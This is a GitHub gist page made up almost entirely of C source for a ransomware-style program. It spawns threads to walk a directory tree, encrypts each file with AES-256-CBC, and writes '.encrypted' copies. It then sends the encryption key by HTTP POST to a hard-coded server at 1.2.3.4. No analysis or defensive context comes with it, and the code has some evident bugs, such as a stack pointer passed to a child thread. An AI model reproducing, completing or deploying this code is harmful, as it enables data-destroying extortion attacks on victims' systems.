Skip to content

Instantly share code, notes, and snippets.

@vesche
Created March 11, 2023 07:07
Show Gist options
  • Save vesche/bbcad6be0f87351a2e96f47d7a5e4c73 to your computer and use it in GitHub Desktop.
Save vesche/bbcad6be0f87351a2e96f47d7a5e4c73 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <dirent.h>
#include <string.h>
#include <openssl/evp.h>
#include <curl/curl.h>
#define KEY_SERVER_IP "1.2.3.4"
#define NUM_THREADS 8
typedef struct {
int thread_id;
char* root_dir;
char* key;
} thread_arg_t;
void* encrypt_files(void* arg) {
thread_arg_t* t_arg = (thread_arg_t*) arg;
char* root_dir = t_arg->root_dir;
char* key = t_arg->key;
DIR* dir = opendir(root_dir);
if (!dir) {
printf("Error: cannot open directory %s\n", root_dir);
pthread_exit(NULL);
}
struct dirent* dp;
while ((dp = readdir(dir)) != NULL) {
if (strcmp(dp->d_name, ".") == 0 || strcmp(dp->d_name, "..") == 0) {
continue;
}
char path[PATH_MAX];
snprintf(path, PATH_MAX, "%s/%s", root_dir, dp->d_name);
if (dp->d_type == DT_DIR) {
thread_arg_t child_arg = {
.thread_id = t_arg->thread_id + 1,
.root_dir = path,
.key = key
};
pthread_t child_thread;
pthread_create(&child_thread, NULL, encrypt_files, &child_arg);
pthread_join(child_thread, NULL);
} else {
FILE* fp = fopen(path, "rb");
if (!fp) {
printf("Error: cannot open file %s\n", path);
continue;
}
fseek(fp, 0, SEEK_END);
long file_size = ftell(fp);
fseek(fp, 0, SEEK_SET);
char* file_content = (char*) malloc(file_size);
fread(file_content, 1, file_size, fp);
fclose(fp);
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
EVP_EncryptInit(ctx, EVP_aes_256_cbc(), (unsigned char*) key, NULL);
int outlen, totlen;
unsigned char* ciphertext = (unsigned char*) malloc(file_size + EVP_CIPHER_CTX_block_size(ctx));
EVP_EncryptUpdate(ctx, ciphertext, &outlen, (unsigned char*) file_content, file_size);
EVP_EncryptFinal(ctx, ciphertext + outlen, &totlen);
outlen += totlen;
EVP_CIPHER_CTX_free(ctx);
char encrypted_file_path[PATH_MAX];
snprintf(encrypted_file_path, PATH_MAX, "%s.encrypted", path);
FILE* encrypted_fp = fopen(encrypted_file_path, "wb");
if (!encrypted_fp) {
printf("Error: cannot open file %s for writing\n", encrypted_file_path);
continue;
}
fwrite(ciphertext, 1, outlen, encrypted_fp);
fclose(encrypted_fp);
free(file_content);
free(ciphertext);
}
}
closedir(dir);
if (t_arg->thread_id == 0) {
CURL* curl = curl_easy_init();
if (curl) {
curl_easy_setopt(curl, CURLOPT_URL, "https://1.2.3.4/key");
curl_easy_setopt(curl, CURLOPT_POST, 1);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, t_arg->key);
CURLcode res = curl_easy_perform(curl);
if (res != CURLE_OK) {
printf("Error sending encryption key: %s\n", curl_easy_strerror(res));
}
curl_easy_cleanup(curl);
}
}
pthread_exit(NULL);
}
int main(int argc, char** argv) {
if (argc < 3) {
printf("Usage: %s <root_directory> <encryption_key>\n", argv[0]);
exit(1);
}
char* root_dir = argv[1];
char* key = argv[2];
pthread_t threads[NUM_THREADS];
thread_arg_t args[NUM_THREADS];
for (int i = 0; i < NUM_THREADS; i++) {
args[i] = (thread_arg_t) {
.thread_id = i,
.root_dir = root_dir,
.key = key
};
pthread_create(&threads[i], NULL, encrypt_files, &args[i]);
}
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment